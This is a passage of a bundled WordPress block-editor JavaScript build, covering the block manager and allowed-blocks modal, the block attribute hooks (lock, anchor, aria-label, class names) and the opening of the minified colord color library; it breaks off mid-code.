21321 attributeKeys: ["style"],
21322 hasSupport: hasBackgroundSupport
21323};
21324
21325
21326;// ./node_modules/@wordpress/block-editor/build-module/hooks/lock.js
21327
21328function lock_addAttribute(settings) {
21329 if ("type" in (settings.attributes?.lock ?? {})) {
21330 return settings;
21331 }
21332 settings.attributes = {
21333 ...settings.attributes,
21334 lock: {
21335 type: "object"
21336 }
21337 };
21338 return settings;
21339}
21340(0,external_wp_hooks_namespaceObject.addFilter)("blocks.registerBlockType", "core/lock/addAttribute", lock_addAttribute);
21341
21342
21343;// ./node_modules/@wordpress/icons/build-module/library/block-default.js
21344
21345
21346var block_default_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z" }) });
21347
21348
21349;// ./node_modules/@wordpress/block-editor/build-module/components/block-icon/index.js
21350
21351
21352
21353
21354
21355function BlockIcon({ icon, showColors = false, className, context }) {
21356 if (icon?.src === "block-default") {
21357 icon = {
21358 src: block_default_default
21359 };
21360 }
21361 const renderedIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { icon: icon && icon.src ? icon.src : icon, context });
21362 const style = showColors ? {
21363 backgroundColor: icon && icon.background,
21364 color: icon && icon.foreground
21365 } : {};
21366 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21367 "span",
21368 {
21369 style,
21370 className: dist_clsx("block-editor-block-icon", className, {
21371 "has-colors": showColors
21372 }),
21373 children: renderedIcon
21374 }
21375 );
21376}
21377var block_icon_default = (0,external_wp_element_namespaceObject.memo)(BlockIcon);
21378
21379
21380;// ./node_modules/@wordpress/block-editor/build-module/components/block-manager/checklist.js
21381
21382
21383
21384function BlockTypesChecklist({ blockTypes, value, onItemChange }) {
21385 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { className: "block-editor-block-manager__checklist", children: blockTypes.map((blockType) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
21386 "li",
21387 {
21388 className: "block-editor-block-manager__checklist-item",
21389 children: [
21390 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21391 external_wp_components_namespaceObject.CheckboxControl,
21392 {
21393 __nextHasNoMarginBottom: true,
21394 label: blockType.title,
21395 checked: value.includes(blockType.name),
21396 onChange: (...args) => onItemChange(blockType, ...args)
21397 }
21398 ),
21399 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_icon_default, { icon: blockType.icon })
21400 ]
21401 },
21402 blockType.name
21403 )) });
21404}
21405var checklist_default = BlockTypesChecklist;
21406
21407
21408;// ./node_modules/@wordpress/block-editor/build-module/components/block-manager/category.js
21409
21410
21411
21412
21413
21414function BlockManagerCategory({
21415 title,
21416 blockTypes,
21417 selectedBlockTypes,
21418 onChange
21419}) {
21420 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(BlockManagerCategory);
21421 const toggleVisible = (0,external_wp_element_namespaceObject.useCallback)(
21422 (blockType, nextIsChecked) => {
21423 if (nextIsChecked) {
21424 onChange([...selectedBlockTypes, blockType]);
21425 } else {
21426 onChange(
21427 selectedBlockTypes.filter(
21428 ({ name }) => name !== blockType.name
21429 )
21430 );
21431 }
21432 },
21433 [selectedBlockTypes, onChange]
21434 );
21435 const toggleAllVisible = (0,external_wp_element_namespaceObject.useCallback)(
21436 (nextIsChecked) => {
21437 if (nextIsChecked) {
21438 onChange([
21439 ...selectedBlockTypes,
21440 ...blockTypes.filter(
21441 (blockType) => !selectedBlockTypes.find(
21442 ({ name }) => name === blockType.name
21443 )
21444 )
21445 ]);
21446 } else {
21447 onChange(
21448 selectedBlockTypes.filter(
21449 (selectedBlockType) => !blockTypes.find(
21450 ({ name }) => name === selectedBlockType.name
21451 )
21452 )
21453 );
21454 }
21455 },
21456 [blockTypes, selectedBlockTypes, onChange]
21457 );
21458 if (!blockTypes.length) {
21459 return null;
21460 }
21461 const checkedBlockNames = blockTypes.map(({ name }) => name).filter(
21462 (type) => (selectedBlockTypes ?? []).some(
21463 (selectedBlockType) => selectedBlockType.name === type
21464 )
21465 );
21466 const titleId = "block-editor-block-manager__category-title-" + instanceId;
21467 const isAllChecked = checkedBlockNames.length === blockTypes.length;
21468 const isIndeterminate = !isAllChecked && checkedBlockNames.length > 0;
21469 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
21470 "div",
21471 {
21472 role: "group",
21473 "aria-labelledby": titleId,
21474 className: "block-editor-block-manager__category",
21475 children: [
21476 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21477 external_wp_components_namespaceObject.CheckboxControl,
21478 {
21479 __nextHasNoMarginBottom: true,
21480 checked: isAllChecked,
21481 onChange: toggleAllVisible,
21482 className: "block-editor-block-manager__category-title",
21483 indeterminate: isIndeterminate,
21484 label: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { id: titleId, children: title })
21485 }
21486 ),
21487 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21488 checklist_default,
21489 {
21490 blockTypes,
21491 value: checkedBlockNames,
21492 onItemChange: toggleVisible
21493 }
21494 )
21495 ]
21496 }
21497 );
21498}
21499var category_category_default = BlockManagerCategory;
21500
21501
21502;// ./node_modules/@wordpress/block-editor/build-module/components/block-manager/index.js
21503
21504
21505
21506
21507
21508
21509
21510
21511
21512function BlockManager({
21513 blockTypes,
21514 selectedBlockTypes,
21515 onChange,
21516 showSelectAll = true
21517}) {
21518 const debouncedSpeak = (0,external_wp_compose_namespaceObject.useDebounce)(external_wp_a11y_namespaceObject.speak, 500);
21519 const [search, setSearch] = (0,external_wp_element_namespaceObject.useState)("");
21520 const { categories, isMatchingSearchTerm } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
21521 return {
21522 categories: select(external_wp_blocks_namespaceObject.store).getCategories(),
21523 isMatchingSearchTerm: select(external_wp_blocks_namespaceObject.store).isMatchingSearchTerm
21524 };
21525 }, []);
21526 const filteredBlockTypes = blockTypes.filter((blockType) => {
21527 return !search || isMatchingSearchTerm(blockType, search);
21528 });
21529 const isIndeterminate = selectedBlockTypes.length > 0 && selectedBlockTypes.length !== blockTypes.length;
21530 const isAllChecked = blockTypes.length > 0 && selectedBlockTypes.length === blockTypes.length;
21531 (0,external_wp_element_namespaceObject.useEffect)(() => {
21532 if (!search) {
21533 return;
21534 }
21535 const count = filteredBlockTypes.length;
21536 const resultsFoundMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
21537 /* translators: %d: number of results. */
21538 (0,external_wp_i18n_namespaceObject._n)("%d result found.", "%d results found.", count),
21539 count
21540 );
21541 debouncedSpeak(resultsFoundMessage);
21542 }, [filteredBlockTypes?.length, search, debouncedSpeak]);
21543 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { className: "block-editor-block-manager__content", spacing: 4, children: [
21544 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21545 external_wp_components_namespaceObject.SearchControl,
21546 {
21547 __nextHasNoMarginBottom: true,
21548 label: (0,external_wp_i18n_namespaceObject.__)("Search for a block"),
21549 placeholder: (0,external_wp_i18n_namespaceObject.__)("Search for a block"),
21550 value: search,
21551 onChange: (nextSearch) => setSearch(nextSearch),
21552 className: "block-editor-block-manager__search"
21553 }
21554 ),
21555 showSelectAll && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21556 external_wp_components_namespaceObject.CheckboxControl,
21557 {
21558 className: "block-editor-block-manager__select-all",
21559 label: (0,external_wp_i18n_namespaceObject.__)("Select all"),
21560 checked: isAllChecked,
21561 onChange: () => {
21562 if (isAllChecked) {
21563 onChange([]);
21564 } else {
21565 onChange(blockTypes);
21566 }
21567 },
21568 indeterminate: isIndeterminate,
21569 __nextHasNoMarginBottom: true
21570 }
21571 ),
21572 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
21573 "div",
21574 {
21575 tabIndex: "0",
21576 role: "region",
21577 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Available block types"),
21578 className: "block-editor-block-manager__results",
21579 children: [
21580 filteredBlockTypes.length === 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "block-editor-block-manager__no-results", children: (0,external_wp_i18n_namespaceObject.__)("No blocks found.") }),
21581 categories.map((category) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21582 category_category_default,
21583 {
21584 title: category.title,
21585 blockTypes: filteredBlockTypes.filter(
21586 (blockType) => blockType.category === category.slug
21587 ),
21588 selectedBlockTypes,
21589 onChange
21590 },
21591 category.slug
21592 )),
21593 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21594 category_category_default,
21595 {
21596 title: (0,external_wp_i18n_namespaceObject.__)("Uncategorized"),
21597 blockTypes: filteredBlockTypes.filter(
21598 ({ category }) => !category
21599 ),
21600 selectedBlockTypes,
21601 onChange
21602 }
21603 )
21604 ]
21605 }
21606 )
21607 ] });
21608}
21609
21610
21611;// ./node_modules/@wordpress/block-editor/build-module/components/block-allowed-blocks/modal.js
21612
21613
21614
21615
21616
21617
21618
21619function BlockAllowedBlocksModal({
21620 clientId,
21621 blockTypes,
21622 selectedBlockTypes,
21623 onClose
21624}) {
21625 const [currentSelectedBlockTypes, setCurrentSelectedBlockTypes] = (0,external_wp_element_namespaceObject.useState)(selectedBlockTypes);
21626 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
21627 const handleSubmit = () => {
21628 const isFullySelected = currentSelectedBlockTypes.length === blockTypes.length;
21629 const newBlockNames = currentSelectedBlockTypes.map(
21630 ({ name }) => name
21631 );
21632 updateBlockAttributes(clientId, {
21633 allowedBlocks: isFullySelected ? void 0 : newBlockNames
21634 });
21635 onClose();
21636 };
21637 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21638 external_wp_components_namespaceObject.Modal,
21639 {
21640 title: (0,external_wp_i18n_namespaceObject.__)("Manage allowed blocks"),
21641 onRequestClose: onClose,
21642 overlayClassName: "block-editor-block-allowed-blocks-modal",
21643 focusOnMount: "firstContentElement",
21644 size: "medium",
21645 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
21646 external_wp_components_namespaceObject.__experimentalVStack,
21647 {
21648 as: "form",
21649 onSubmit: (e) => {
21650 e.preventDefault();
21651 handleSubmit();
21652 },
21653 spacing: "4",
21654 children: [
21655 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: (0,external_wp_i18n_namespaceObject.__)(
21656 "Select which blocks can be added inside this container."
21657 ) }),
21658 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21659 BlockManager,
21660 {
21661 blockTypes,
21662 selectedBlockTypes: currentSelectedBlockTypes,
21663 onChange: (newSelectedBlockTypes) => {
21664 setCurrentSelectedBlockTypes(newSelectedBlockTypes);
21665 }
21666 }
21667 ),
21668 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
21669 external_wp_components_namespaceObject.Flex,
21670 {
21671 className: "block-editor-block-allowed-blocks-modal__actions",
21672 justify: "flex-end",
21673 expanded: false,
21674 children: [
21675 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21676 external_wp_components_namespaceObject.Button,
21677 {
21678 variant: "tertiary",
21679 onClick: onClose,
21680 __next40pxDefaultSize: true,
21681 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
21682 }
21683 ) }),
21684 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21685 external_wp_components_namespaceObject.Button,
21686 {
21687 variant: "primary",
21688 type: "submit",
21689 __next40pxDefaultSize: true,
21690 children: (0,external_wp_i18n_namespaceObject.__)("Apply")
21691 }
21692 ) })
21693 ]
21694 }
21695 )
21696 ]
21697 }
21698 )
21699 }
21700 );
21701}
21702
21703
21704;// ./node_modules/@wordpress/block-editor/build-module/components/block-allowed-blocks/allowed-blocks-control.js
21705
21706
21707
21708
21709
21710
21711
21712
21713function BlockAllowedBlocksControl({ clientId }) {
21714 const [isBlockControlOpened, setIsBlockControlOpened] = (0,external_wp_element_namespaceObject.useState)(false);
21715 const { blockTypes, selectedBlockNames } = (0,external_wp_data_namespaceObject.useSelect)(
21716 (select) => {
21717 const { getBlockAttributes } = select(store);
21718 return {
21719 blockTypes: select(external_wp_blocks_namespaceObject.store).getBlockTypes(),
21720 selectedBlockNames: getBlockAttributes(clientId)?.allowedBlocks
21721 };
21722 },
21723 [clientId]
21724 );
21725 const filteredBlockTypes = blockTypes.filter(
21726 (blockType) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType, "inserter", true) && (!blockType.parent || blockType.parent.includes("core/post-content"))
21727 );
21728 if (!filteredBlockTypes) {
21729 return null;
21730 }
21731 const selectedBlockTypes = selectedBlockNames === void 0 ? filteredBlockTypes : filteredBlockTypes.filter(
21732 (blockType) => selectedBlockNames.includes(blockType.name)
21733 );
21734 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-block-allowed-blocks-control", children: [
21735 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
21736 external_wp_components_namespaceObject.BaseControl,
21737 {
21738 help: (0,external_wp_i18n_namespaceObject.__)(
21739 "Specify which blocks are allowed inside this container."
21740 ),
21741 __nextHasNoMarginBottom: true,
21742 children: [
21743 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, { children: (0,external_wp_i18n_namespaceObject.__)("Allowed Blocks") }),
21744 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21745 external_wp_components_namespaceObject.Button,
21746 {
21747 __next40pxDefaultSize: true,
21748 variant: "secondary",
21749 onClick: () => {
21750 setIsBlockControlOpened(true);
21751 },
21752 className: "block-editor-block-allowed-blocks-control__button",
21753 children: (0,external_wp_i18n_namespaceObject.__)("Manage allowed blocks")
21754 }
21755 )
21756 ]
21757 }
21758 ),
21759 isBlockControlOpened && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21760 BlockAllowedBlocksModal,
21761 {
21762 clientId,
21763 blockTypes: filteredBlockTypes,
21764 selectedBlockTypes,
21765 onClose: () => setIsBlockControlOpened(false)
21766 }
21767 )
21768 ] });
21769}
21770
21771
21772;// ./node_modules/@wordpress/block-editor/build-module/hooks/allowed-blocks.js
21773
21774
21775
21776
21777
21778
21779
21780function BlockEditAllowedBlocksControlPure({ clientId }) {
21781 const isContentOnly = (0,external_wp_data_namespaceObject.useSelect)(
21782 (select) => {
21783 return select(store).getBlockEditingMode(clientId) === "contentOnly";
21784 },
21785 [clientId]
21786 );
21787 if (isContentOnly) {
21788 return null;
21789 }
21790 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PrivateInspectorControlsAllowedBlocks.Fill, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockAllowedBlocksControl, { clientId }) });
21791}
21792var allowed_blocks_default = {
21793 edit: BlockEditAllowedBlocksControlPure,
21794 attributeKeys: ["allowedBlocks"],
21795 hasSupport(name) {
21796 return (0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, "allowedBlocks");
21797 }
21798};
21799function allowed_blocks_addAttribute(settings) {
21800 if (settings?.attributes?.allowedBlocks?.type) {
21801 return settings;
21802 }
21803 if ((0,external_wp_blocks_namespaceObject.hasBlockSupport)(settings, "allowedBlocks")) {
21804 settings.attributes = {
21805 ...settings.attributes,
21806 allowedBlocks: {
21807 type: "array"
21808 }
21809 };
21810 }
21811 return settings;
21812}
21813(0,external_wp_hooks_namespaceObject.addFilter)(
21814 "blocks.registerBlockType",
21815 "core/allowedBlocks/attribute",
21816 allowed_blocks_addAttribute
21817);
21818function addTransforms(result, source, index, results) {
21819 if (!(0,external_wp_blocks_namespaceObject.hasBlockSupport)(result.name, "allowedBlocks")) {
21820 return result;
21821 }
21822 if (source.length !== 1 && results.length === 1 && result.innerBlocks.length === source.length) {
21823 return result;
21824 }
21825 if (results.length === 1 && source.length > 1 || results.length > 1 && source.length === 1) {
21826 return result;
21827 }
21828 if (results.length > 1 && source.length > 1 && results.length !== source.length) {
21829 return result;
21830 }
21831 if (result.attributes.allowedBlocks) {
21832 return result;
21833 }
21834 const sourceAllowedBlocks = source[index]?.attributes?.allowedBlocks;
21835 if (!sourceAllowedBlocks) {
21836 return result;
21837 }
21838 const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(result.name);
21839 const destinationAllowedBlocks = blockType?.allowedBlocks || [];
21840 if (!destinationAllowedBlocks.length) {
21841 return {
21842 ...result,
21843 attributes: {
21844 ...result.attributes,
21845 allowedBlocks: sourceAllowedBlocks
21846 }
21847 };
21848 }
21849 const filteredSourceAllowedBlocks = sourceAllowedBlocks.filter(
21850 (block) => destinationAllowedBlocks.includes(block)
21851 );
21852 return {
21853 ...result,
21854 attributes: {
21855 ...result.attributes,
21856 allowedBlocks: filteredSourceAllowedBlocks
21857 }
21858 };
21859}
21860(0,external_wp_hooks_namespaceObject.addFilter)(
21861 "blocks.switchToBlockType.transformedBlock",
21862 "core/allowedBlocks/addTransforms",
21863 addTransforms
21864);
21865
21866
21867;// ./node_modules/@wordpress/block-editor/build-module/hooks/anchor.js
21868
21869
21870
21871
21872
21873
21874
21875
21876const ANCHOR_REGEX = /[\s#]/g;
21877const ANCHOR_SCHEMA = {
21878 type: "string",
21879 source: "attribute",
21880 attribute: "id",
21881 selector: "*"
21882};
21883function anchor_addAttribute(settings) {
21884 if ("type" in (settings.attributes?.anchor ?? {})) {
21885 return settings;
21886 }
21887 if ((0,external_wp_blocks_namespaceObject.hasBlockSupport)(settings, "anchor")) {
21888 settings.attributes = {
21889 ...settings.attributes,
21890 anchor: ANCHOR_SCHEMA
21891 };
21892 }
21893 return settings;
21894}
21895function BlockEditAnchorControlPure({ anchor, setAttributes }) {
21896 const blockEditingMode = useBlockEditingMode();
21897 if (blockEditingMode !== "default") {
21898 return null;
21899 }
21900 const isWeb = external_wp_element_namespaceObject.Platform.OS === "web";
21901 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default, { group: "advanced", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21902 external_wp_components_namespaceObject.TextControl,
21903 {
21904 __nextHasNoMarginBottom: true,
21905 __next40pxDefaultSize: true,
21906 className: "html-anchor-control",
21907 label: (0,external_wp_i18n_namespaceObject.__)("HTML anchor"),
21908 help: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
21909 (0,external_wp_i18n_namespaceObject.__)(
21910 "Enter a word or two \u2014 without spaces \u2014 to make a unique web address just for this block, called an \u201Canchor\u201D. Then, you\u2019ll be able to link directly to this section of your page."
21911 ),
21912 isWeb && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
21913 " ",
21914 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21915 external_wp_components_namespaceObject.ExternalLink,
21916 {
21917 href: (0,external_wp_i18n_namespaceObject.__)(
21918 "https://wordpress.org/documentation/article/page-jumps/"
21919 ),
21920 children: (0,external_wp_i18n_namespaceObject.__)("Learn more about anchors")
21921 }
21922 )
21923 ] })
21924 ] }),
21925 value: anchor || "",
21926 placeholder: !isWeb ? (0,external_wp_i18n_namespaceObject.__)("Add an anchor") : null,
21927 onChange: (nextValue) => {
21928 nextValue = nextValue.replace(ANCHOR_REGEX, "-");
21929 setAttributes({
21930 anchor: nextValue
21931 });
21932 },
21933 autoCapitalize: "none",
21934 autoComplete: "off"
21935 }
21936 ) });
21937}
21938var anchor_default = {
21939 addSaveProps,
21940 edit: BlockEditAnchorControlPure,
21941 attributeKeys: ["anchor"],
21942 hasSupport(name) {
21943 return (0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, "anchor");
21944 }
21945};
21946function addSaveProps(extraProps, blockType, attributes) {
21947 if ((0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType, "anchor")) {
21948 extraProps.id = attributes.anchor === "" ? null : attributes.anchor;
21949 }
21950 return extraProps;
21951}
21952(0,external_wp_hooks_namespaceObject.addFilter)("blocks.registerBlockType", "core/anchor/attribute", anchor_addAttribute);
21953
21954
21955;// ./node_modules/@wordpress/block-editor/build-module/hooks/aria-label.js
21956
21957
21958function aria_label_addAttribute(settings) {
21959 if (settings?.attributes?.ariaLabel?.type) {
21960 return settings;
21961 }
21962 if ((0,external_wp_blocks_namespaceObject.hasBlockSupport)(settings, "ariaLabel")) {
21963 settings.attributes = {
21964 ...settings.attributes,
21965 ariaLabel: {
21966 type: "string"
21967 }
21968 };
21969 }
21970 return settings;
21971}
21972function aria_label_addSaveProps(extraProps, blockType, attributes) {
21973 if ((0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType, "ariaLabel")) {
21974 extraProps["aria-label"] = attributes.ariaLabel === "" ? null : attributes.ariaLabel;
21975 }
21976 return extraProps;
21977}
21978var aria_label_default = {
21979 addSaveProps: aria_label_addSaveProps,
21980 attributeKeys: ["ariaLabel"],
21981 hasSupport(name) {
21982 return (0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, "ariaLabel");
21983 }
21984};
21985(0,external_wp_hooks_namespaceObject.addFilter)(
21986 "blocks.registerBlockType",
21987 "core/ariaLabel/attribute",
21988 aria_label_addAttribute
21989);
21990
21991
21992;// ./node_modules/@wordpress/block-editor/build-module/hooks/custom-class-name.js
21993
21994
21995
21996
21997
21998
21999
22000
22001function custom_class_name_addAttribute(settings) {
22002 if ((0,external_wp_blocks_namespaceObject.hasBlockSupport)(settings, "customClassName", true)) {
22003 settings.attributes = {
22004 ...settings.attributes,
22005 className: {
22006 type: "string"
22007 }
22008 };
22009 }
22010 return settings;
22011}
22012function CustomClassNameControlsPure({ className, setAttributes }) {
22013 const blockEditingMode = useBlockEditingMode();
22014 if (blockEditingMode !== "default") {
22015 return null;
22016 }
22017 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inspector_controls_default, { group: "advanced", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22018 external_wp_components_namespaceObject.TextControl,
22019 {
22020 __nextHasNoMarginBottom: true,
22021 __next40pxDefaultSize: true,
22022 autoComplete: "off",
22023 label: (0,external_wp_i18n_namespaceObject.__)("Additional CSS class(es)"),
22024 value: className || "",
22025 onChange: (nextValue) => {
22026 setAttributes({
22027 className: nextValue !== "" ? nextValue : void 0
22028 });
22029 },
22030 help: (0,external_wp_i18n_namespaceObject.__)("Separate multiple classes with spaces.")
22031 }
22032 ) });
22033}
22034var custom_class_name_default = {
22035 edit: CustomClassNameControlsPure,
22036 addSaveProps: custom_class_name_addSaveProps,
22037 attributeKeys: ["className"],
22038 hasSupport(name) {
22039 return (0,external_wp_blocks_namespaceObject.hasBlockSupport)(name, "customClassName", true);
22040 }
22041};
22042function custom_class_name_addSaveProps(extraProps, blockType, attributes) {
22043 if ((0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType, "customClassName", true) && attributes.className) {
22044 extraProps.className = dist_clsx(
22045 extraProps.className,
22046 attributes.className
22047 );
22048 }
22049 return extraProps;
22050}
22051function custom_class_name_addTransforms(result, source, index, results) {
22052 if (!(0,external_wp_blocks_namespaceObject.hasBlockSupport)(result.name, "customClassName", true)) {
22053 return result;
22054 }
22055 if (results.length === 1 && result.innerBlocks.length === source.length) {
22056 return result;
22057 }
22058 if (results.length === 1 && source.length > 1 || results.length > 1 && source.length === 1) {
22059 return result;
22060 }
22061 if (source[index]) {
22062 const originClassName = source[index]?.attributes.className;
22063 if (originClassName && result.attributes.className === void 0) {
22064 return {
22065 ...result,
22066 attributes: {
22067 ...result.attributes,
22068 className: originClassName
22069 }
22070 };
22071 }
22072 }
22073 return result;
22074}
22075(0,external_wp_hooks_namespaceObject.addFilter)(
22076 "blocks.registerBlockType",
22077 "core/editor/custom-class-name/attribute",
22078 custom_class_name_addAttribute
22079);
22080(0,external_wp_hooks_namespaceObject.addFilter)(
22081 "blocks.switchToBlockType.transformedBlock",
22082 "core/customClassName/addTransforms",
22083 custom_class_name_addTransforms
22084);
22085
22086
22087;// ./node_modules/@wordpress/block-editor/build-module/hooks/generated-class-name.js
22088
22089
22090function addGeneratedClassName(extraProps, blockType) {
22091 if ((0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType, "className", true)) {
22092 if (typeof extraProps.className === "string") {
22093 extraProps.className = [
22094 .../* @__PURE__ */ new Set([
22095 (0,external_wp_blocks_namespaceObject.getBlockDefaultClassName)(blockType.name),
22096 ...extraProps.className.split(" ")
22097 ])
22098 ].join(" ").trim();
22099 } else {
22100 extraProps.className = (0,external_wp_blocks_namespaceObject.getBlockDefaultClassName)(blockType.name);
22101 }
22102 }
22103 return extraProps;
22104}
22105(0,external_wp_hooks_namespaceObject.addFilter)(
22106 "blocks.getSaveContent.extraProps",
22107 "core/generated-class-name/save-props",
22108 addGeneratedClassName
22109);
22110
22111
22112;// ./node_modules/colord/index.mjs
22113var colord_r={grad:.9,turn:360,rad:360/(2*Math.PI)},t=function(r){return"string"==typeof r?r.length>0:"number"==typeof r},n=function(r,t,n){return void 0===t&&(t=0),void 0===n&&(n=Math.pow(10,t)),Math.round(n*r)/n+0},e=function(r,t,n){return void 0===t&&(t=0),void 0===n&&(n=1),r>n?n:r>t?r:t},u=function(r){return(r=isFinite(r)?r%360:0)>0?r:r+360},a=function(r){return{r:e(r.r,0,255),g:e(r.g,0,255),b:e(r.b,0,255),a:e(r.a)}},o=function(r){return{r:n(r.r),g:n(r.g),b:n(r.b),a:n(r.a,3)}},i=/^#([0-9a-f]{3,8})$/i,s=function(r){var t=r.toString(16);return t.length<2?"0"+t:t},h=function(r){var t=r.r,n=r.g,e=r.b,u=r.a,a=Math.max(t,n,e),o=a-Math.min(t,n,e),i=o?a===t?(n-e)/o:a===n?2+(e-t)/o:4+(t-n)/o:0;return{h:60*(i<0?i+6:i),s:a?o/a*100:0,v:a/255*100,a:u}},b=function(r){var t=r.h,n=r.s,e=r.v,u=r.a;t=t/360*6,n/=100,e/=100;var a=Math.floor(t),o=e*(1-n),i=e*(1-(t-a)*n),s=e*(1-(1-t+a)*n),h=a%6;return{r:255*[e,i,o,o,s,e][h],g:255*[s,e,e,i,o,o][h],b:255*[o,o,s,e,e,i][h],a:u}},g=function(r){return{h:u(r.h),s:e(r.s,0,100),l:e(r.l,0,100),a:e(r.a)}},d=function(r){return{h:n(r.h),s:n(r.s),l:n(r.l),a:n(r.a,3)}},f=function(r){return b((n=(t=r).s,{h:t.h,s:(n*=((e=t.l)<50?e:100-e)/100)>0?2*n/(e+n)*100:0,v:e+n,a:t.a}));var t,n,e},c=function(r){return{h:(t=h(r)).h,s:(u=(200-(n=t.s))*(e=t.v)/100)>0&&u<200?n*e/100/(u<=100?u:200-u)*100:0,l:u/2,a:t.a};var t,n,e,u},l=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,p=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,v=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,m=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,y={string:[[function(r){var t=i.exec(r);return 